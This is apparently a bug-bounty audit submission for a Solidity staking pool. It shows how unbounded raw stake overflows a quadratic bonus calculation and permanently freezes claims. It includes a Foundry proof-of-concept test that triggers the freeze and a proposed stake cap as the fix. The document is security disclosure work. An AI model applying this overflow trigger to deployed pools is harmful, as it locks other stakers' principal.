FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Unbounded raw stake overflows bonus scoring and permanently freezes claims

Author Revealed upon completion

Missing stake-domain bounds + Permanent freezing of principal and bonus

Description

Normally, each deposit earns bonus according to amount * (T - entryTime)^2. ConfidencePool stores timestamp moments during stake()
and expands that quadratic in _bonusShare() so claims remain O(1).

The pool accepts aggregate raw stake without a score-domain cap, while
ConfidencePoolFactory only checks a boolean token allowlist. The expanded formula uses absolute Unix timestamps in
checked uint256 arithmetic, so an accepted stake can overflow a later intermediate even when the intended delta-time score fits:

// ConfidencePool.stake()
// @> `received` is not bounded against `expiry` or future score intermediates.
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
// ConfidencePool._bonusShare()
// @> Absolute-time terms overflow before the cancelling subtraction.
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
// @> Every claimant depends on the pool-wide aggregate domain.
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;

Let E = 2,000,000,000, T = E + 1, and:

A = floor((2^256 - 1) / E^2)
= 28,948,022,309,329,048,855,892,746,252,171,976,963,317,496,166,410,141,009,864

stake(A) succeeds because A*E^2 fits. The intended score is only A*(T-E)^2 = A, but _bonusShare() evaluates T*T*A first and panics. One second is merely the smallest witness: later T values only increase that overflowing term.

A fixed-supply OpenZeppelin ERC-20 reporting 50 decimals expresses A as approximately 289,480,223.09 display tokens. ERC-20 decimals are optional display metadata, and neither in-scope contract constrains decimals, raw supply, or aggregate stake.

Risk

Likelihood:

  • The failure occurs when an allowlisted standard ERC-20 reaches the unsafe raw-unit domain, aggregate deposits reach the boundary, and a nonzero bonus routes settlement through _bonusShare().

  • A normal UNDER_ATTACK -> PRODUCTION lifecycle suffices. No malicious token behavior, compromised role, invalid transition, or exact-block race is required.

  • The unusual token parameter makes likelihood Medium under the CodeHawks guidance.

Impact:

  • claimSurvived() reverts atomically, leaving principal and bonus permanently unavailable.

  • The pool-wide denominator also freezes smaller stakers whose individual score magnitudes are safe; the PoC freezes Alice's A/4 principal after aggregate stake reaches A.

  • Withdrawal, expiry claiming, and bonus sweeping cannot release the obligation, and existing EIP-1167 pool clones are not upgradeable. This is High impact and Medium severity under the CodeHawks matrix. No theft or attacker profit is claimed.

Proof of Concept

The PoC uses the actual UUPS factory, its pool clone, and a fixed-supply OpenZeppelin token reporting 50 decimals. The quarter-magnitude control settles successfully.

Create test/eidolon/BCCPBS02SubmissionPoC.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {stdError} from "forge-std/StdError.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract FixedSupplyFiftyDecimalToken is ERC20 {
constructor(address holder, uint256 supply) ERC20("Fifty Decimal Token", "FDT") {
_mint(holder, supply);
}
function decimals() public pure override returns (uint8) {
return 50;
}
}
contract BCCPBS02SubmissionPoC is Test {
uint256 private constant ENTRY_TIME = 2_000_000_000;
address private constant SCOPE_ACCOUNT = address(0xC0FFEE);
address private agreementOwner = makeAddr("agreementOwner");
address private moderator = makeAddr("moderator");
address private recovery = makeAddr("recovery");
address private alice = makeAddr("alice");
address private bob = makeAddr("bob");
address private carol = makeAddr("carol");
MockAttackRegistry private attackRegistry;
MockAgreement private agreement;
ConfidencePoolFactory private factory;
function setUp() public {
vm.warp(1_750_000_000);
attackRegistry = new MockAttackRegistry();
MockSafeHarborRegistry registry = new MockSafeHarborRegistry();
agreement = new MockAgreement(agreementOwner);
agreement.setContractInScope(SCOPE_ACCOUNT, true);
registry.setAgreementValid(address(agreement), true);
registry.setAttackRegistry(address(attackRegistry));
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool poolImplementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
factory = ConfidencePoolFactory(
address(
new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize, (address(registry), address(poolImplementation), moderator)
)
)
)
);
}
function test_BCCPBS02_realFactoryTokenFreezesIndependentClaim() external {
uint256 totalStake = _maximumStakeAtEntry();
uint256 victimStake = totalStake / 4;
(ConfidencePool pool, FixedSupplyFiftyDecimalToken token) = _createPool(totalStake + 1);
token.transfer(alice, victimStake);
token.transfer(bob, totalStake - victimStake);
token.transfer(carol, 1);
vm.warp(ENTRY_TIME);
_stake(pool, token, alice, victimStake);
_stake(pool, token, bob, totalStake - victimStake);
_resolve(pool, token);
assertEq(token.decimals(), 50);
assertTrue(factory.allowedStakeToken(address(token)));
assertEq(totalStake * (pool.outcomeFlaggedAt() - ENTRY_TIME) ** 2, totalStake);
vm.expectRevert(stdError.arithmeticError);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(address(pool)), totalStake + 1);
assertEq(pool.eligibleStake(alice), victimStake);
assertFalse(pool.hasClaimed(alice));
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.sweepUnclaimedBonus();
vm.prank(alice);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.withdraw();
vm.warp(pool.expiry());
vm.prank(alice);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.claimExpired();
}
function test_BCCPBS02_quarterMagnitudeControlSettles() external {
uint256 stakeAmount = _maximumStakeAtEntry() / 4;
(ConfidencePool pool, FixedSupplyFiftyDecimalToken token) = _createPool(stakeAmount + 1);
token.transfer(alice, stakeAmount);
token.transfer(carol, 1);
vm.warp(ENTRY_TIME);
_stake(pool, token, alice, stakeAmount);
_resolve(pool, token);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice), stakeAmount + 1);
assertEq(token.balanceOf(address(pool)), 0);
}
function _createPool(uint256 supply) private returns (ConfidencePool pool, FixedSupplyFiftyDecimalToken token) {
token = new FixedSupplyFiftyDecimalToken(address(this), supply);
factory.setStakeTokenAllowed(address(token), true);
vm.prank(agreementOwner);
pool = ConfidencePool(
factory.createPool(address(agreement), address(token), ENTRY_TIME + 31 days, 1, recovery, _scope())
);
}
function _stake(ConfidencePool pool, FixedSupplyFiftyDecimalToken token, address staker, uint256 amount) private {
vm.startPrank(staker);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _resolve(ConfidencePool pool, FixedSupplyFiftyDecimalToken token) private {
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.startPrank(carol);
token.approve(address(pool), 1);
pool.contributeBonus(1);
vm.stopPrank();
vm.warp(ENTRY_TIME + 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
}
function _maximumStakeAtEntry() private pure returns (uint256) {
return type(uint256).max / (ENTRY_TIME * ENTRY_TIME);
}
function _scope() private pure returns (address[] memory accounts) {
accounts = new address[](1);
accounts[0] = SCOPE_ACCOUNT;
}
}

Recommended Mitigation

Enforce totalEligibleStake <= max / (2 * expiry^2) before recording a deposit:

+error StakeExceedsScoreDomain();
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// ... transfer token and calculate `received` ...
_clampUserSums(msg.sender);
+ uint256 expiry_ = expiry;
+ uint256 maxStake = type(uint256).max / (2 * expiry_ * expiry_);
+ if (totalEligibleStake > maxStake || received > maxStake - totalEligibleStake) {
+ revert StakeExceedsScoreDomain();
+ }
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
}

Also enforce the invariant wherever timestamp moments are rebuilt. Alternatively, store moments relative to riskWindowStart and use full-precision intermediates.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!